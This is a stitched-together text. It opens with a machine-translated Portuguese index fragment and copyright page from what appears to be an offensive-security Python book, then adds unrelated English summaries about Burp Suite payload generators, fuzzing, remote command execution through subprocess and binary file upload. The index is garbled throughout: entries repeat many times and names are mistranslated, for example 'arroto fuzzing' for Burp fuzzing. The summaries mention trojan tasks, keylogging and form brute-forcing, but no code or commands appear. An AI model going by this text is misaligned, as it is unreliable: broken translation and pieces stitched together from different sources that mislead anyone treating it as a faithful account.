pressionamentos de teclas, Kicking the Tires, Capturas de tela, Kicking the Tires
Tarefas do Windows , Tarefas comuns de trojan no Windows, Keylogging para diversão e pressionamentos de tecla,
Chutando os pneus, tirando screenshots, chutando os pneus
NO
NO
No
Hackery, A Biblioteca de Soquetes da Web: urllib2, A Biblioteca de Soquetes da Web: urllib2, A Biblioteca de
Soquetes da Web : urllib2, Mapeamento de aplicativo da Web de código aberto
Instalações, Kicking the Tires, Brute-Forcing Diretórios e localizações de arquivos, Brute-Forcing
Diretórios e locais de arquivos, força bruta Diretórios e locais de arquivos, força bruta
Diretórios e locais de arquivos, diretórios de força bruta e locais de arquivos, HTML de força bruta
Autenticação de formulário, HTMLForm de força bruta Autenticação, HTMLForm de força bruta
Autenticação, HTMLForm de força bruta Autenticação, HTMLForm de força bruta
Autenticação, HTMLForm de força bruta Autenticação, HTMLForm de força bruta
Autenticação, chutando os pneus, arroto fuzzing, arroto fuzzing, arroto fuzzing, arroto fuzzing, arroto
Fuzzing, Burp Fuzzing, Chutando os Pneus, Chutando os Pneus, Chutando os Pneus, Chutando os Pneus
Machine Translated by Google
diretórios de força bruta e localizações de arquivos, Kicking the Tires, Brute-Forcing Directories and File
Locais, diretórios de força bruta e locais de arquivos, diretórios de força bruta e arquivos
Locais, diretórios de força bruta e locais de arquivos, diretórios de força bruta e arquivos
Localizações
aplicando lista de extensões para testar, diretórios de força bruta e locais de arquivos
criação de objetos Fila a partir de arquivos de lista de palavras, diretórios de força bruta e locais de arquivos
configuração de lista de palavras, diretórios de força bruta e testes de locais de arquivos, diretórios de força bruta
e locais de arquivos
autenticação de formulário HTML de força bruta, autenticação de formulário HTML de força bruta, força bruta
Autenticação de formulário HTML, HTML de força bruta Autenticação de formulário, HTML de força bruta
Autenticação de formulário, HTMLForm de força bruta Autenticação, HTMLForm de força bruta
Autenticação, autenticação de HTMLForm de força bruta, chutando os pneus
Solicitações GET, a biblioteca de soquetes da Web: urllib2, a biblioteca de soquetes da Web: urllib2, a
Biblioteca de soquetes da Web: urllib2, mapeando instalações de aplicativos da Web de código aberto
mapeando instalações de aplicativos da Web de código aberto, Mapeando instalações de aplicativos da Web de código aberto
fuzzers de aplicativos da web, Burp Fuzzing, Burp Fuzzing, Burp Fuzzing, Burp Fuzzing, Burp Fuzzing,
Burp Fuzzing, Chutando os Pneus, Chutando os Pneus, Chutando os Pneus, Chutando os Pneus
carregamento Burp Fuzzing , Burp Fuzzing, Burp Fuzzing, fuzzer simples Kicking
Classe Win32_Process, Monitoramento de processos com WMI, Monitoramento de processos com WMI
monitoramento de processo, Criando um monitor de processo, Criando um monitor de processo, Monitoramento de processo
com WMI
privilégios de token, monitoramento de processo com WMI, privilégios de token do Windows, token do Windows
Privilégios
corrida vencedora contra a execução de código, Vencendo a corrida, Vencendo a corrida, Vencendo a corrida
Tarefas de trojan do Windows, Tarefas de trojan comuns no Windows, Keylogging para diversão e pressionamentos de tecla,
Chutando os pneus, tirando screenshots, chutando os pneus
WingIDE, Instalando Kali Linux, WingIDE, WingIDE, WingIDE, WingIDE, WingIDE, WingIDE,
WingIDE, WingIDE, WingIDE, WingIDE, WingIDE
Machine Translated by Google
acessando, WingIDE
instalando, WingIDE
Todos os direitos reservados. Nenhuma parte deste trabalho pode ser reproduzida ou transmitida de qualquer forma ou por qualquer meio, eletrônico ou mecânico,
incluindo fotocópia, gravação ou por qualquer sistema de armazenamento ou recuperação de informações, sem a permissão prévia por escrito do proprietário dos direitos
autorais e do editor.
18 17 16 15 14 123456789
ISBN-10: 1-59327-590-0
ISBN-13: 978-1-59327-590-7
Para obter informações sobre distribuição, traduções ou vendas em massa, entre em contato diretamente com a No Starch Press, Inc.:
www.nostarch.com
Número de controle da Biblioteca do Congresso: 2014953241
No Starch Press e o logotipo No Starch Press são marcas registradas da No Starch Press, Inc. Outros nomes de produtos e empresas aqui mencionados podem ser
marcas comerciais de seus respectivos proprietários. Em vez de usar um símbolo de marca registrada com todas as ocorrências de um nome de marca registrada,
estamos usando os nomes apenas de forma editorial e para benefício do proprietário da marca registrada, sem intenção de infringir a marca registrada.
As informações contidas neste livro são distribuídas “como estão”, sem garantia. Embora todas as precauções tenham sido tomadas na preparação deste
trabalho, nem o autor nem a No Starch Press, Inc. terão qualquer responsabilidade perante qualquer pessoa ou entidade com relação a qualquer perda ou dano causado
ou supostamente causado direta ou indiretamente pelo informações nele contidas.
2014-11-26T08:31:28-08:00
The 'BurpExtender' class in the provided context is used to extend Burp's functionality by creating a custom payload generator. It primarily serves two functions: 'getGeneratorName', which is called by Burp to retrieve the name of the payload generator, and 'createNewInstance', which returns a new instance of an 'IIntruderPayloadGenerator'. This setup allows the Intruder tool to integrate and utilize custom payloads for penetration testing purposes .
Base64 encoding is essential for safely transmitting binary or sensitive data as text over HTTP in API communications. It ensures that binary data remains intact during transport, avoiding corruption due to incompatible text encoding systems. In the example provided, base64 is used for encoding the API key for the Bing request, allowing it to be included in the HTTP authorization header securely .
A custom payload generator enhances security testing in Burp Suite by allowing the creation of tailored payloads that can target specific application vulnerabilities. This flexibility supports advanced fuzzing techniques and increases the effectiveness of penetration tests by accommodating unique scenarios that standard payloads might miss. The integration of a custom generator also aids in automating repetitive testing tasks, saving time and resources while improving test accuracy .
Exception handling in the subprocess command execution is critical for managing errors that occur when executing commands. It captures generic errors, prevents the application from crashing, and provides feedback by returning a message indicating that the command execution failed. This ensures robustness in network tools that rely on executing system commands from a remote client .
The use of subprocesses in networking tools facilitates command execution by providing a high-level interface to interact with system commands and programs. This is crucial for executing local OS commands within network scripts or tools, enabling dynamic interaction with the system. A subprocess can execute a command, capture its output, and relay the information to a network client, enhancing the capabilities and interactivity of network management applications .
Resetting the payload generator in the 'IIntruderPayloadGenerator' interface is essential because it allows the generator to return to its initial state and provide the same sequence of payloads. This is particularly useful in replay attacks or iterative testing scenarios where reproducing the same conditions is necessary for effective analysis and debugging of security vulnerabilities .
The 'mutate_payload' function is crucial in fuzzing because it introduces controlled variations into the original payload, simulating potential attack vectors. By modifying payloads in unpredictable ways, it tests how well an application can handle unexpected or malformed input, thereby identifying weaknesses or bugs that could be exploited by an attacker. The function's ability to choose from various mutation strategies further enhances the diversity and thoroughness of security tests .
When storing sensitive information in public repositories, it's crucial to employ methods such as encryption to prevent unauthorized access. The risk of exposing credentials or sensitive data is high, as anything committed to a public repository can be accessed by anyone. This is demonstrated in the provided example, where storing unencrypted configuration files to GitHub poses a security risk, and employing encryption techniques as explored would help mitigate this risk .
API usage in Burp Suite enhances reconnaissance tasks by enabling extensions to interact with external services, such as web APIs, to gather additional information. For instance, integrating Bing's search API allows the tool to automatically search and include additional domains within the target's scope. This provides a broader view of the target's attack surface, improving the quality and depth of reconnaissance conducted during an assessment .
The code handles binary file uploading by using a 'file_descriptor' to open a file in 'wb' (write binary) mode, which allows for raw binary data to be correctly written to the file system. This is crucial for ensuring that binary executables are uploaded and written without corruption. The use of a loop to receive data ensures all parts of the file are captured before writing, minimizing the risk of data loss during transfer .